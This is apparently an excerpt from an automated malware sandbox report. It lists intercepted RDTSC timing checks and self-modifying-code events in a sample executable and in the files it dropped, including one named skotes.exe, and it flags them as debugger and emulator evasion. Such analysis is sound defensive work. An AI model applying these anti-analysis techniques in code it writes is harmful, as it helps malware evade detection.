Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F2028D second address: 4F2029B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov edi, ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F2029B second address: 4F20318 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4AB1444206h 0x00000008 xor ecx, 196E3528h 0x0000000e jmp 00007F4AB14441FBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 call 00007F4AB1444208h 0x0000001b mov dx, cx 0x0000001e pop esi 0x0000001f popad 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movzx esi, bx 0x00000027 pushfd 0x00000028 jmp 00007F4AB14441FBh 0x0000002d sub ax, 3BCEh 0x00000032 jmp 00007F4AB1444209h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F2032F second address: 4F20341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov ebx, ecx 0x00000007 popad 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a mov di, cx 0x0000000d push eax 0x0000000e push edx 0x0000000f mov bx, cx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F20341 second address: 4F20378 instructions: 0x00000000 rdtsc 0x00000002 mov bl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F4AB1444200h 0x0000000f or esi, 338381D8h 0x00000015 jmp 00007F4AB14441FBh 0x0000001a popfd 0x0000001b mov bx, ax 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F20378 second address: 4F2038F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F2038F second address: 4F20395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F20395 second address: 4F20399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 4F20399 second address: 4F2039D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F240C second address: 7F2435 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4AB0EAD882h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jc 00007F4AB0EAD876h 0x00000012 jg 00007F4AB0EAD876h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F2435 second address: 7F2449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F4AB14441F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F4AB14441FCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F2449 second address: 7F245C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F4AB0EAD87Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7E978C second address: 7E9790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7E9790 second address: 7E97AE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4AB0EAD888h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7E97AE second address: 7E97B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7E97B4 second address: 7E97B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7E97B8 second address: 7E97EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444200h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4AB1444205h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7E97EA second address: 7E9816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB0EAD889h 0x00000009 pop ecx 0x0000000a jne 00007F4AB0EAD87Eh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1573 second address: 7F157D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4AB14441F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F157D second address: 7F1581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1859 second address: 7F1863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4AB14441F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1863 second address: 7F1875 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4AB0EAD87Ah 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1C80 second address: 7F1C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1C86 second address: 7F1C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1C8F second address: 7F1C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4AB14441F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1C99 second address: 7F1CA3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4AB0EAD876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1CA3 second address: 7F1CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F4AB14441FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1CBC second address: 7F1CC6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4AB0EAD876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1CC6 second address: 7F1CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F1CCC second address: 7F1CD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007F4AB0EAD876h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F4BDC second address: 7F4BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4AB1444208h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F4D6C second address: 7F4D84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4AB0EAD87Eh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F4F60 second address: 7F4F72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F4F72 second address: 7F501F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD887h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 62283CD6h 0x00000010 sub edi, dword ptr [ebp+122D38E4h] 0x00000016 push 00000003h 0x00000018 pushad 0x00000019 mov bl, 28h 0x0000001b mov ebx, ecx 0x0000001d popad 0x0000001e add dword ptr [ebp+122D32D3h], ecx 0x00000024 push 00000000h 0x00000026 sub dword ptr [ebp+122D227Bh], edi 0x0000002c push 00000003h 0x0000002e mov edx, dword ptr [ebp+122D195Fh] 0x00000034 push 47BDD3EDh 0x00000039 jmp 00007F4AB0EAD881h 0x0000003e add dword ptr [esp], 78422C13h 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007F4AB0EAD878h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 0000001Bh 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f mov dword ptr [ebp+122D22C1h], edi 0x00000065 lea ebx, dword ptr [ebp+1245AB71h] 0x0000006b je 00007F4AB0EAD87Ch 0x00000071 mov dword ptr [ebp+122D1AB7h], edx 0x00000077 xchg eax, ebx 0x00000078 jnp 00007F4AB0EAD884h 0x0000007e push eax 0x0000007f push edx 0x00000080 jnc 00007F4AB0EAD876h 0x00000086 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 7F501F second address: 7F502B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 816F0A second address: 816F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 814E07 second address: 814E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 814E0B second address: 814E0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 81520D second address: 81522E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4AB1444204h 0x00000008 jne 00007F4AB14441F6h 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815375 second address: 815396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Fh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F4AB0EAD87Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 8154D7 second address: 8154EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4AB14441F6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 8154EA second address: 8154EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 81576B second address: 815771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815771 second address: 8157A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F4AB0EAD883h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F4AB0EAD884h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 8157A3 second address: 8157B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F4AB14441F6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 8157B6 second address: 8157D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD887h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 8157D5 second address: 8157E1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4AB14441F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815952 second address: 815964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4AB0EAD876h 0x0000000a jng 00007F4AB0EAD876h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815964 second address: 815969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815969 second address: 81596F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815A97 second address: 815A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815A9D second address: 815AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815AA3 second address: 815ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F4AB144420Bh 0x0000000c ja 00007F4AB14441F6h 0x00000012 jmp 00007F4AB14441FFh 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F4AB1444207h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815ADF second address: 815B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4AB0EAD888h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815B01 second address: 815B1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444207h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815EED second address: 815EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815EF1 second address: 815EF9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815EF9 second address: 815F08 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F4AB0EAD876h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815F08 second address: 815F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815F0E second address: 815F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007F4AB0EAD884h 0x00000011 jmp 00007F4AB0EAD880h 0x00000016 pop ecx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jc 00007F4AB0EAD876h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 815F4B second address: 815F5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F4AB14441F6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 816A50 second address: 816A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 816D7E second address: 816DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB1444209h 0x00000009 jmp 00007F4AB14441FFh 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 819D25 second address: 819D3D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4AB0EAD876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 jp 00007F4AB0EAD876h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 819D3D second address: 819D42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 81AFDF second address: 81AFF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 81C37B second address: 81C389 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 je 00007F4AB14441FEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	RDTSC instruction interceptor: First address: 81F870 second address: 81F87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4AB0EAD876h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Special instruction interceptor: First address: 5D79E6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Special instruction interceptor: First address: 5D791E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Special instruction interceptor: First address: 77A766 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Special instruction interceptor: First address: 77AAC0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Special instruction interceptor: First address: 7A5DF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Special instruction interceptor: First address: 66DB8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Special instruction interceptor: First address: 81972F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Special instruction interceptor: First address: 81936B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Special instruction interceptor: First address: 8B86DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Special instruction interceptor: First address: 97FC93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Special instruction interceptor: First address: 97D2A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Special instruction interceptor: First address: B449F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Special instruction interceptor: First address: BAA974 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Special instruction interceptor: First address: 6720A1 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Special instruction interceptor: First address: 12EB54 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Special instruction interceptor: First address: 2D4537 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Special instruction interceptor: First address: 12EA54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2AEB54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 454537 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2AEA54 instructions caused by: Self-modifying code

